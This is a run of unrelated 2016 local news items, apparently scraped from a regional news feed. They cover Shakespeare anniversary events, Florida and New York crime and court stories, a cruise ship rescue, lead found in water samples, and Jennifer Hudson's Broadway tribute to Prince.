The world's most famous playwright died four hundred years ago, on April 23, 1616, but his playful and pointed plays are as piquant today as ever. With that in mind and heart, fans around Southern California will mark the anniversary of Shakespeare's passing over the fourth weekend of April 2016.

The Paley Center for Media: The scribe behind "Richard II" and "The Taming of the Shrew" is not only celebrated on the stage but on the screen, and the Beverly Hills-based museum for television will present a number of lauded televised works over the April 23 and 24 weekend. Look for the aforementioned plays, as well as "Twelfth Night," "The Tempest," and more.

Kingsmen Shakespeare Company: Join the group of thespians as they celebrate Bard Day with a host of happenings at California Lutheran University's Overton Hall. A tour, a cabaret, and a "Sonnet Brunch" are on the words-alive rundown, one that covers both days of the anniversary weekend.

Arena Cinema: Long to get your fill of Shakespeare's scintillating words, over a full week, and not pay to do it? This Hollywood spot is your place. "As You Like It," "A Midsummer's Night Dream," and more classics are just ahead. No money's required, but a reservation is (so make it now).

If Bardly beauty is your bag, and you want more dramatic treats throughout the calendar, and beyond this special anniversary weekend, best give a "forsooth!" and follow Shakespeare in LA, which regularly casts a (candle)light on William-wonderful goings-on across ye olde Southern California.
The Greater Chattanooga Association of Realtors (GCAR) is kicking off the popular spring homebuying season with its annual Open House Weekend on Saturday and Sunday.

Hundreds of our most knowledgeable Realtors step up to the plate each year during this event and welcome the public to tour some of the highest-quality homes in the southeast Tennessee and northwest Georgia areas, said Nathan Walldorf, president of GCAR. This is a prime opportunity for potential homebuyers to quickly canvass the region and find the home that best meets their needs.

Its estimated that nearly 250 homes will be available for the general public to view during Open House Weekend. Officially registered homes will be marked with blue and white balloons featuring the GCAR logo. Consumers will also have the opportunity to enter for the chance to win one of five $150 Visa Gift Cards.

As the voice for Greater Chattanooga real estate, GCAR is here to provide the necessary resources and information in order to help anyone achieve the American dream of owning a home, said Mr. Walldorf.

For a complete list of open houses during this event and information about giveaways, visit www.gcar.net or visit the Open House Weekend event page on Facebook.


Police have released the chilling 911 call of a woman who was abducted at gunpoint by her ex-husband in southwest Miami-Dade before he was killed in an officer-involved shooting.

Sarah Allen, 38, was kidnapped Wednesday by ex-husband Francis Scot Dufore, who drove to South Florida from Louisiana, Miami-Dade Police said. He drove her out to a wooded area along 180th Avenue, where Allen was able to call 911.

"Please just let me go," Allen is heard saying in the background of the call. "I just want to go, please. I don't want to go back home to Louisiana, I don't want to be nowhere near you."

Police were able to trace the call and found Dufore, who pointed a shotgun at an officer, officials said. The officer opened fire, killing Dufore. Allen came out of the woods, apparently unharmed.

Authorities said the couple were divorced with four children in common. The children were in DCF custody prior to the incident.
A Disney cruise ship came to the rescue of three migrants whose boat capsized in the Atlantic Ocean Thursday morning.

The Disney Fantasy was steaming toward the cruise line's private Bahamian island, Castaway Cay, when a passenger spotted the stranded boaters.

Passenger Maria Telese, a Philadelphia native who is on the ship with her family, said that passenger alerted a bartender who then notified the captain.

Telese said the ship circled the capsized boat until a small ship was sent out to rescue the people.

A spokesperson for Disney Cruise Lines said staff contacted the U.S. Coast Guard and waited 30 minutes for guardsmen to pick up the boaters.

The boaters were Cuban migrants and didn't suffer any injuries in the ordeal, a coast guard spokesman said.
A severely emaciated and badly abused German Shepherd is on the mend at a veterinary hospital in Hollywood, but he has a long road to recovery.

Shepherd Help and Rescue Effort (SHARE) was contacted by Miami Dade Animal Services earlier this week after an owner surrender of the starving, sick dog dubbed Tucker.

Officials called for an immediate rescue and SHARE picked Tucker up the next day. Miami-Dade Police informed SHARE that Tucker's case will be pursued as a felony animal cruelty case.

"Just the neglect from not eating and having these wounds that are so deep, he's gotta be in a lot of pain," said Dr. David Shapiro with VCA Hollywood Animal Hospital.

The identity of Tucker's owners is not immediately known.

Cindy Newton, a volunteer with SHARE, said the volunteer who transferred Tucker described him as "as sweet as the day is long."

"Considering what he's been through, they say he's just a sweetheart," Newton said. "That says a lot about him."

Despite his sweet demeanor, Tucker has a number of afflictions that will require expensive treatment and surgery. Veterinarians indicated that parts of his skin are so severely affected that the skin is cracked and bleeding. Tucker has no discernible body fat and has significant abdominal tuck due to malnourishment.

He also has severe inflammation in all four paws, lots of skin issues, and periodontal disease.

Notably, Tucker has two large open wounds on his hips, both of which are infected and will require intense wound care.

"I don't know how anybody could look at those pictures [of Tucker] and not be brokenhearted. It's just devastating," Newton said.

Vets are keeping Tucker for intensive treatment and observation, and they're hopeful he'll make a full recovery and soon be available for adoption.

"It's always our goal, to get them into a forever home," Newton said, adding "I'm sure he'll be a little fighter."

Tucker is now on antibiotics, they've dressed his wounds and he's responding well. He's in good spirits, although his injuries were some of the worst these volunteers have ever seen.

"It's heartbreaking, but seeing his personality makes me feel better. Knowing that he's gonna survive, he's a great dog considering everything," Newton said.

An online crowd-funding site dedicated to raising money for Tucker's care has raised more than $5,000 so far, but Newton says that figure is just an estimate as Tucker's medical needs are urgent and won't be inexpensive.

To donate to help with Tucker's medical treatment, visit YouCaring.com. You can also email SHARE at shepherdhelpandrescue@gmail.com to inquire about other ways to help with Tucker's care.

Donations can also be sent by mail to SHARE at 5207 Northwest 116th Avenue, Coral Springs, Florida 33076.
A New Jersey man convicted in the 2009 killing of a retired Miami Police captain was sentenced to life in prison Friday.

Rafael Toirac-Aguilera, 39, was found guilty in March in the execution-style murder of Capt. Robert Yee on July 10, 2009, at the Hurricane Cove Marina.

His sentence carries with it no possibility of parole.

Yee's widow, daughter and grandchildren attended Friday's sentencing. The family appeared upset but said they were relieved that Toirac-Aguilera finally faced justice.

"Not only did he brutally murder my father but he has caused so much pain," daughter Debbie Guzman said.

"Justice has been done and we're at peace, a little bit at peace right now but it's very emotional, still very raw," widow Maricel Yee said.

An arrest warrant said Toirac-Aguilera became a suspect when his DNA and a fingerprint were recovered from an orange juice bottle left at the scene of the murder. Police believe the orange juice bottle was used as a makeshift silencer on the weapon that killed Yee.

Toirac-Aguilera's girlfriend told police the two had driven from New Jersey to Miami to visit friends in a silver Toyota Corolla in July 2009, and that Toirac-Aguilera was gone for hours on the day of the Yee murder.

When detectives questioned Toirac-Aguilera about where he was on July 10, he said he was in New Jersey working at a body shop.

Retired after 25 years on the force, Yee, 61, was working as a security guard at the Marina on North River Drive.

He was found with multiple gunshot wounds to the back of his head and died a short time later at Jackson Memorial Hospital.

"We judged him in man's law, but he's still got another judgment day coming to him and I really hope there's a special place in hell for him," Miami Police Chief Rodolfo Llanes said of Toirac-Aguilera.
Authorities are looking for a pair of thieves who were caught on camera robbing a Dania Beach gas station store at gunpoint while an undeterred worker continued to mop the floor.

The robbery happened March 31 at the Express Gas Food Mart at 3401 Griffin Road, Broward Sheriff's Office officials said.

Surveillance cameras were rolling when the two masked suspects entered the store just before midnight. One of the armed suspects rushed behind the counter and demanded the register be opened.

The cashier complied while a second worker continued with his mopping duties. The pair were able to flee the store with about $400, authorities said.

Authorities said both suspects were wearing black knit masks and hooded sweaters. Anyone with information on the suspects is asked to call Broward Crime Stoppers at 954-493-TIPS.
Rising South Florida rapper Kodak Black was arrested Thursday in Hallandale Beach and is facing a number of charges, according to the Broward County Sheriff's Office.



According to Hallandale Beach Police, 18-year-old Kodak Black, whose given name is Dieuson Octave, and a passenger were parked at a building known for drug sales just before 12:30 p.m. Thursday.



Police say Kodak Black's passenger, Wisdom Williams, handed some cash to two males and in exchange, got a large bag "with a green, leafy substance" which later tested positive for marijuana.



As officers approached the car, police say Kodak Black revved up his engine and drove off. Police followed with their sirens on, and say Kodak Black refused to pull over and ran a red light while going 60 in a 30 miles per hour zone.



The chase ended, but police later caught up with Kodak Black and Williams parked in front of a house in the 2000 block of Jackson Street in Hollywood.



Police say Kodak Black threw what appeared to be a black gun into the dumpster. Police later recovered the loaded and functional glock 23 .40 caliber pistol from that dumpster.



According to the report, the two refused to cooperate with police and were taken to headquarters for questioning.



It was discovered then that Kodak Black is a convicted felon who pleaded guilty to attempted robbery with a weapon back in 2012.



Kodak Black was charged with weapon or ammunition possession by a convicted felon, as well as marijuana possession, several traffic violations and eluding an officer.



He was ordered held on more than $5,000 bond. It's not known if he's hired an attorney.



Many took notice of the Pompano Beach native after Drake posted an Instagram video of himself dancing to Kodak Black's "SKRT" while aboard his private plane.



Since then, he has been profiled by XXL Magazine and BET among others.



No further information was immediately available.



Stay with NBC 6 for updates on this developing story.
See Rock City (SRC), Inc. joined MDA in its shamrocks for dystrophy program. During the month of March, guests at Rock City had the option of purchasing shamrocks to aid local families battling muscular dystrophy. SRC annually partners with MDA for its St. Patricks Day event Shamrock City, and this year raised the most so far, $3,000. Rock City thanks all of its guests and partners for giving and supporting these great efforts by MDA.
A mugger pushed an 84-year-old woman into her Bronx apartment and then choked and robbed her, police said.

The elderly woman was walking into her apartment near Hull Avenue and East 209th Street in Norwood at about 10:15 a.m. on Monday when the violent robber forced her through the doorway, authorities said.

The suspect then pushed her into a seat, choked her and demanded money, police said.

He searched her apartment and fled with $335, police said.

No arrests have been made.
A New York City Board of Elections official has been suspended amid reports that some voters were turned away from polling sites during the state's presidential primary, officials said Thursday.

Brooklyn Chief Clerk Diane Hasslet-Rudiano was suspended without pay, the board said in a news release.

She has been suspended pending an internal probe into "the administration of the voter rolls" in Brooklyn.

New York State Attorney General Eric Schneiderman said his office launched an investigation on Wednesday after a state voter hotline received more than 700 complaints.

The administration of the voter rolls in Brooklyn is of major concern to our office and is a focus of our investigation, Attorney General Schneiderman said after learning about Hasslet-Rudiano's suspension.

New York City Comptroller Scott Stringer said he would audit the board.

The board said it would cooperate with both inquiries.
An 18-year-old Long Island man was arrested Thursday on charges accusing him of selling heroin and injecting it into female clients, including one as young as 15 years old, police said.

The arrest was one of two drug busts made by Suffolk County police during raids in East Islip and Huntington Station, officials said.

Officers arrested Daniel Orlando, 18, in a raid at 40 Shinnecock Lane in East Islip, police said. Orlando is accused of selling heroine and injecting the drug into his woman clients, including teenage girls.

Police seized heroin, alprazolam, drug scales and a hypodermic instrument at Orlando's residence, investigators said, adding that the house is located 600 feet from an elementary school.

Orlando faces numerous drug charges, as well as three counts of endangering the welfare of a child.

A raid at 2036 New York Avenue in Huntington Station culminated in the arrests of two men, police said. Oxycodone pills, cellphones and $871 were seized during the raid, officers said.

Orlando was being held for arraignment on Friday. There was no indication he had obtained a lawyer who cold comment on the charges.

East Islip residents told NBC 4 New York that they weren't surprised by Orlando's arrest.

"There have been obvious signs," said Stephanie Baranek. "We've seen needles in the street. It's easy to tell when something like that is going on."

Police said they launched a anonymous drug-reporting hotline four weeks ago and have already received about 175 tips.

"That tells us two things," said Police Commissioner Tim Sini. "There's a problem in Suffolk county with drug dealing and people want to do something about it."
Local pre-schools, shopping centers -- even a casino and a farm -- all have had high levels of lead in water samples, an I-Team analysis has revealed.

The I-Team mapped more than 300 water systems in New York, New Jersey, and Connecticut, where regulators have discovered lead problems. The high lead tests are plotted on the interactive map above. The bigger the dot, the higher the lead result - over the federal action level of 15 parts per billion.

Water systems affected include public water supplies and private wells used by businesses and nonprofits. The water samples date as far back as 2012, and in many cases, after regulators found too much lead, the water systems successfully brought lead levels back into compliance.

The findings come after a water crisis in Flint, Michigan, raises concerns about lead levels in water tables across the county.

ISE Farms, one of New Jerseys biggest egg producers, is one of the businesses that registered a high levels of lead last year.

In September, the New Jersey Department of Environmental Protection issued a violation to the Warren County facility for a lead test that was 150 parts per billion - ten times the federal action threshold.

A DEP spokesperson said the concentration of lead was detected coming out of a faucet in the female bathroom located in the farm office  not in the hen houses.

"I dont think there is any inherent risk to the egg," said Gregg Clanton, a spokesman for ISE Farms.

Clanton emphasized that the facility has no history of problems with lead beyond this test, and after regulators re-tested the bathroom faucet it registered acceptable levels of the toxin.

Despite those assurances, the farm could not conclusively say its hens never consumed lead-tainted water, partly because state regulators only sample faucets used by humans. There is no requirement to test water used to hydrate livestock.

A 2003 study by Iowa State University found egg yolks can retain toxic levels of lead after hens consume lead paint chips.

Gerald Markowitz, a professor who studies lead poisoning at John Jay College of Criminal Justice, said regulators may tend to focus on big public water systems, but more attention should be paid to all water infrastructure  including private wells that feed farms, rural communities, and business parks.

"We could require private entities to replace lead service lines, to replace lead fixtures and they bear the cost of that," Markowitz said. "Were not doing that."

Although regulators rarely order entities to replace all their water pipes, they do order stricter monitoring and repairs after high lead tests.

After Morristown Medical Center registered high levels of lead last month, the DEP ordered the hospital to repair a broken pump that injects chemicals to prevent lead contamination.

The facility issued a statement warning patients, employees, and other visitors that they may have been exposed to lead if they ingested tap water at the hospital between Jan. 22 and Feb. 25.

Currently, Morristown Medical Center is using bottled water for food preparation and drinking, but the facility has made repairs to the pump.

Our system is stabilizing, and lead levels continue to decline, said the statement.

Back at ISE Farms, the DEP has also requested owners install a chemical pump to reduce the threat of lead. But the facility has two years to install the pump, and if inspectors record a second consecutive low lead reading, the farm can discontinue plans for the new equipment.

The farm has avoided regulatory action in the past by bringing the level of other toxins down. Between 2013 and 2015, the DEP issued violations related to E. Coli, Coliform, and asbestos in the water at ISE Farms. But in each case, the DEP says the egg producer returned to compliance.

Clanton declined to talk about the farms past problems with asbestos, E. Coli, and coliform.

Weve done quite a bit of testing, he said. There have been farming activities on that property going back to the 1700s.
A postal worker who has filed a $100 million lawsuit against the NYPD said Thursday that he was harassed by officers for nearly a year before two detectives beat him for speaking to a man who later killed two police officers.

"Month after month," said Karim Baker of the harassment, while describing the encounters for NBC 4 New York.

Detectives Angelo Pampena, 31, and Robert Carbone, 29, were arraigned Wednesday on charges filed by the Queens District attorney accusing them of beating Baker six months ago in the Corona neighborhood of Queens.

The detectives allegedly dragged Baker out of his parked car and repeatedly punched and kicked him, according to a five-count indictment detailing the charges, including second- and third-degree assault for both the officers.

Baker filed his own $100 million lawsuit Monday against the city, the police department, the two detectives and other unnamed officers.

The NYPD insists there was no harassment.

Baker appeared on surveillance video giving directions to Ismaaiyl Brinsley, who shot and killed officers Wenjian Liu and Rafael Ramos on Dec. 20, 2014.

Brinsley shot the officers at point-blank range through their cruiser window. He then killed himself with the same weapon.

"I just gave the man directions. Nothing else to it," Baker said Thursday.

After being seen in the video, he and his family were harassed by police officers "month after month," Baker said.

The harassment culminated in the beating he received after just finishing his shift one day in later October.

He suffered serious injuries from the assault, the indictment states.

"Only thing I could feel was just feeling like I was about to take my last breath," he recalled Thursday. "The more officers that came the more I got beat on."

In the 2014 encounter with Brinsley, Baker gave him directions to two housing projects. It's not clear how much time elapsed between the interaction and the slayings.

After that, Baker was questioned and then "systematically harassed" by police, including officers lurking around him and his family and about 20 traffic stops in nine months, said attorney Eric Subin, who represents Baker.

After the encounter, Pampena filed a sworn statement saying Baker was parked in front of a fire hydrant. However, video from a surveillance camera showed that Baker's car was more than 15 feet from the hydrant.

The criminal case against Baker was dismissed. Pampena has subsequently been charged with perjury.

Senior police officials say there is no merit to Baker's claim that he was targeted. Police sources said the two detectives had no idea who Baker was.

Attempts to reach both detectives for comment were unsuccessful.
A Brooklyn doctor helped rescue a critically injured construction worker after he plunged 15 feet into a trench Friday morning, authorities said.

Dr. Brian Yokers was near his job at Kingsbrook Medical Center on East 49th Street in East Flatbush at about 8:30 a.m. when he rushed to the aid of the injured construction worker. The worker was at the site when a backhoe clipped a lightpole, which then toppledd over and knocked him into the trench.

Yokers said that when he arrived on scene, he saw the injured worker bleeding and unconscious 15 feet down. He climbed down into the trench with a ladder and got to work.

"We all worked to stabilize his neck, roll him, get him to the basket and to the ambulance with could get him to the trauma center right away," he said.

He added, "I knew the injuries were bad but he was breathing so that took a big pressure off."

The worker is in critical but stable condition at Kings County Hospital, according to authorities.

Federal work safety investigators and city officials are investigating what went wrong.
Hours after 57-year-old music legend Prince was found dead in his Minnesota home, Jennifer Hudson paid her respects to him on Broadway.

Joined by Cynthia Erivo and the rest of "The Color Purple" cast, she brought the house down in New York City by performing "Purple Rain."

Before singing the 1984 classic, she thanked the audience for showing their support.

"I'm not a speaker by any means. I did not expect to have to speak on tonight, but God has his way," Hudson said. "As we all know, today we lost a legend. Ooh, Jesus, we lost a legend who was a good friend of mine: Prince, who was dear to all of us. Every single one of us."

Prince had reached out to Hudson not too long ago.

"He called me while we were here and asked me to come out, you know, to this event because he was writing his book. And he told me, 'You can bring your cast members along.' All these amazing people. Aren't they awesome? We were honored to be in his presence one last time and we got to have that moment," she said.

"So tonight, if you guys don't mind, we'd like you all to join us in honoring Prince. He said his music will live on and he will live through his music so we want to keep him alive today with this song. I might not get through this, but I will try. Help us out. Can we all do this together?" As the audience rose to their feet, Hudson encouraged them. "I know you all know the song!"

Toward the end of the song, Hudson asked the band to stop playing.

"Can we just stop the music and we all sing it together one more time?" she asked, telling fans, "I want to hear you!"

Hudson has become somewhat of a go-to tribute performer over the years. With little time to prepare, she gave a pitch perfect tribute to the late Whitney Houston at the 2012 Grammys. And, at the 2015 Oscars, her performance made people cry during the In Memoriam segment.

PHOTOS: Prince's life in pictures

PHOTOS: Hollywood reacts to Prince's death